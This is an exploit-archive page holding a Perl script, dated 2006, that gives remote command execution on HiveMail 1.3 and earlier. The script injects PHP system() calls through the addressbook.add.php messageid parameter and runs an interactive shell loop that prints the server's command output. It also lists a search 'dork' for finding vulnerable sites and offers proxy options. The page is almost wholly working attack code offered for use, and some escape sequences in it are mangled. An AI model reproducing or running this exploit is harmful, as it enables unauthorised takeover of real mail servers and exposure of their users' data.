[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : HiveMail <= 1.3 (addressbook.add.php) Remote Code Execution Exploit
# Published : 2006-05-06
# Author : [Oo]
# Previous Title : EQdkp <= 1.3.0 (dbal.php) Remote File Inclusion Vulnerability
# Next Title : VP-ASP 6.00 (shopcurrency.asp) Remote SQL Injection Vulnerability


#!/usr/bin/perl                                     #
#                                                   #
# HiveMail <= 1.3 remote command execution exploit  #
#                                                   #
#################################################################################
#                                                                               #
# Advisory:                                                                     #
# http://www.gulftech.org/?node=research&article_id=00098-02102006              #
#                                                                               #
# To get the hivesession:                                                       #
# log on hivemail with firefox then look at the hivesession number in the url.  #
# (yes i know...)                                                               #
#                                                                               #
#################################################################################
#                                                                      #
# Dork:                                                                #
# "Already have an account?" "Enter your information below to log in." #
#                                                                      #
########################################################################
#               #
# coded by [Oo] #
#               #
#################


require LWP::UserAgent;
use URI;
use Getopt::Long;

$| = 1;  # fflush stdout after print

# Default options
# connection 
my $basic_auth_user = '';
my $basic_auth_pass = '';
my $proxy = '';
my $proxy_user = '';
my $proxy_pass = '';
my $conn_timeout = 15;

# general
my $host;
my $session;
 
 print "n[i] HiveMail <= 1.3 remote command execution exploitn";
 print "[i] coded by [Oo]n";
 

 # read command line options
 my $options = GetOptions (

 #general options
 'host=s'    => $host, # input host to test.
 'session=s'    => $session, # input host to test.
 # connection options
 'basic_auth_user=s' => $basic_auth_user,
 'basic_auth_pass=s' => $basic_auth_pass,
 'proxy=s'           => $proxy,
 'proxy_user=s'      => $proxy_user,
 'proxy_pass=s'      => $proxy_pass,
 'timeout=i'         => $conn_timeout);
 
 # command line sanity check 
 &show_usage unless ($host);
 &show_usage unless ($session);
 
 # main loop 
 while (1){
 	print "n[hivemail] ";
 	my $cmd = <STDIN>;
 	hm_xploit ($cmd);
 }

 exit (1);

#exploit 
sub hm_xploit {
  chomp (my $data = shift);
  
  if ($data eq "exit") { print "n[e] Exit!n";exit(); }

  my $exp = $host."addressbook.add.php?hivesession=".$session."&cmd=quick&messageid=");echo%20"start_er";system($com);echo%20"end_er";@d("&popid=1&com=".$data." ";
  my $req = new HTTP::Request 'GET' => $exp;
 
  
  my $ua = new LWP::UserAgent;
  $ua->timeout($conn_timeout);

  if ($basic_auth_user){
    $req->authorization_basic($basic_auth_user, $basic_auth_pass) 
  }
  if ($proxy){
    $ua->proxy(['http'] => $proxy);
    $req->proxy_authorization_basic($proxy_user, $proxy_pass);
  }

	 
  my $res = $ua->request($req);
  my $show = $res->content;
  
  print"n";
  if ($show =~ m/start_er(.*?)end_er/ms) {
    my $out = $1;
    $out =~ s/^s+|s+$//gs;
    if ($out) {
      print "$outn";
    }
  }
  
}

# show options 
sub show_usage {
  print "n[*] Usage: ./hmail_exp.pl [options] [host] [session]n";
  print "[*] Options:n";
  print "t--proxy (http), --proxy_user, --proxy_passn";
  print "t--basic_auth_user, --basic_auth_passn";
  print "t--timeout n";
  print "[*] Example:n";
  print "    hmail_exp.pl --host=http://127.0.0.1/hivemail/ --session=22ead72ecf6af376a801923466a23efan";
  exit(1);
}

# www.Syue.com [2006-05-06]